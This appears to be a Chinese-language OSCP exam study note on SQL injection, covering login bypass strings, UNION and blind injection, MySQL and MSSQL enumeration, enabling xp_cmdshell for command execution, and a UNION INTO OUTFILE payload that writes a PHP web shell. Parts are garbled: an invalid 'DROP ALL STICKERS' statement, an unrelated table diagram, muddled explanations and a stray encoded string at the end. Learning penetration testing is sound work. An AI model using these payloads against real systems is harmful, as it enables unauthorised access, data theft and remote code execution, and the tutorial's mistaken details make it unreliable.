OSCP笔记:SQL注入攻击深度解析与实战指南
这是一个庞大的主题,远远超出了常见的攻击类型,值得单独用一个章节来讲解。不过,OSCP考试不允许使用SQLMap,所以这里不会有关于它的笔记。OSCP要求100%的手工枚举。但这是否意味着你不能用Python自动化SQL攻击?当然可以!只是不能使用侦察工具直接获取Shell;这是一场方法论考试。
什么是SQL注入?
就像一个调皮的孩子发现,如果他们喊出一个巧妙的句子,就能打破玩具箱上的锁。他们不说“芝麻开门”,而是喊:“芝麻开门 或者 让我进去!”
这里是来自 PortSwigger 和 W3School 的权威解释:
SQL注入的常见工作流程
以Facebook为例,你用用户名和密码登录账户,这些信息存储在服务器的数据库中。在数据库中,有一个表,你的账户信息就在那里。
攻击者视角:
它注入的代码是这样的:
Timmy' AND 1=1; DROP ALL STICKERS-- --> (假设存在一个名为stickers的数据库)
正常登录过程:
当你以用户 jake 登录时,后端会执行类似这样的查询:
SELECT * FROM users WHERE user_name='jake'
系统会在数据库中搜索你的用户名和你密码的哈希值(在某些数据库中,密码甚至可能是明文存储的)。
代码结构示例:
users(1) ────<sessions(many) │ ├────<login_attempts(many) │ ├────<password_resets(many) │ └────<refresh_tokens(many) ────<refresh_tokens(rotation chains via parent_id)
漏洞根源:缺乏输入清理
没有对用户输入进行清理(Sanitization)的代码是罪魁祸首。
<?php
$u = $_POST["user"];
$p = $_POST["pass"];
$query = "SELECT * FROM users WHERE username='$u' AND password='$p'";
$result = mysqli_query($db, $query);
?>
攻击流程解析
- [1] 用户输入:通过登录表单提交用户名和密码。
- [2] 不安全的应用代码:通过简单的字符串拼接构建SQL查询语句。
"SELECT * FROM users WHERE username = '"+username+"' AND password = '"+password+"'" - [3] 数据库:按原样执行拼接后的SQL语句。
- [4] 攻击结果:
- 正常情况:安全输入 -> 执行预期查询 -> 正常认证流程。
- 注入情况:输入包含SQL语法,改变了查询的逻辑(例如,绕过WHERE子句或添加UNION语句)。数据库返回意外的行、错误信息或元数据。
登录界面测试Payload
最简单的测试Payload:
OR '1'='1 或 WHERE username = '' OR '1'='1' AND password = 'anything';
比如:
' —— 这个单引号通常是漏洞存在的指示器。
深入SQL注入
这是对SQL注入的一个很好的解释,但更重要的是理解你在数据库里做了什么:
1. 基于错误的注入
这是一种基于错误的Payload。在上述PHP代码中,我们可以使用OR语句来改变查询逻辑。
原始查询:
SELECT * FROM users WHERE id = <用户输入>;
攻击者输入:
admin' OR '1=1
最终执行的查询变为:
SELECT * FROM users WHERE id = 'admin' OR '1=1'; 这将返回表中的所有用户。
测试工具:你可以在Burp Suite中测试这类漏洞。将请求发送到Intruder,使用Sniper攻击类型,加载Payload字典进行模糊测试。
推荐Payload字典:
更多参考:
需要关注的数据库软件:MySQL、Oracle、PostgreSQL和Microsoft SQL Server。MySQL是目前最常见的。
2. 联合查询注入
联合查询注入是一种不同的技术。攻击者滥用SQL的 UNION 操作符,将原始查询的结果与攻击者控制的额外查询结果合并。
联合查询工作原理:
- [用户输入] -> 应用程序(存在漏洞)
- [构建SQL查询]:
SELECT id, title FROM posts WHERE id = <用户输入>; - [攻击者操纵输入]:
<用户输入>-> 先闭合原始查询,然后添加UNION子句。 - [数据库执行]:
SELECT id, title FROM posts WHERE id = 1 UNION SELECT id, email FROM users;
基本概念:
SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2;
使用Burp利用UNION注入:
基本Payload示例:
- 确定列数:
' order by 1-- -cn' UNION select 1,2,3-- - - 获取数据库版本:
cn' UNION select 1,@@version,3,4-- - - 从其他表获取数据:
UNION select username,2,3,4 from passwords-- -
3. 布尔盲注
盲注类似于本地文件包含(LFI),但你是将Payload注入到参数值中。
示例URL:
http://$target/some.php?user=admin
测试Payload:
- 测试布尔条件:
http://$target/some.php?user=admin' AND 1=1 -- //
更多参考:
SQL枚举技巧与命令
MySQL 枚举
mysql -u root -p'root' -h $target -P3306 --skip-ssl-verify-server-cert
进入MySQL命令行后:
select version(); -- (有时使用)
show databases;
select database();
show tables;
use [table_name];
-- 快速查询所有用户密码
SELECT database(), authentication_string FROM [table_name] WHERE user='[user]';
MSSQL 枚举与RCE
如果你获得了一个 svc_mssql 账户,可以使用 impacket 连接并尝试远程命令执行。
impacket-mssqlclient svc_mssql:[password]@$target -windows-auth
进入MSSQL命令行后:
SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM [database].information_schema.tables;
select * from [table];
-- 启用xp_cmdshell并执行系统命令
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
高级技巧:从SQL注入到RCE
联合查询写Web Shell (MySQL)
如果目标数据库有写入权限,你可以尝试通过联合查询将Web Shell写入Web目录。
Payload示例:
1' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php' -- -
手工模糊测试清单
在Burp Intruder中进行模糊测试时,可以尝试替换以下字段名,并结合用户名列表进行暴力破解。
# 替换占位符
<user-fieldname>
<pass-fieldname>
<username>
# 经典认证绕过Payload
<username>' OR 1=1--
' OR ''='
<username>'--
<username>' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
模糊测试字典:
- GitHub - PenTestical/sqli
- Wayback Machine: SecLists SQLi-Login-Bypass (原文感谢了Wayback Machine,因为老的SecList仓库不太好找了)
学习资源推荐
- 视频讲解:推荐观看一些SQLi到RCE的视频教程。
- 练习平台:
- 进阶文章:
结语
感谢你的阅读。SQL注入可能是一个一开始看起来有点难的概念,但把它想成是命令注入或暴力破解登录的另一种形式,就容易理解多了。记住,坚持是永远能成功着陆的Payload。
今天的分享就到这里——距离OSPC荣耀又近了一天。FINISHED CSD0tFqvECLokhw9aBeRqk/RoMlnSfT1cGb+LXRvhoqXMVqS0QJ7cSg1RUuJ5kKaZMj1VSVtNaR0ndWVT7QtGWwNRRoODoV4chqFw3GE2rNr3BwGyFXGC0ut3euloI34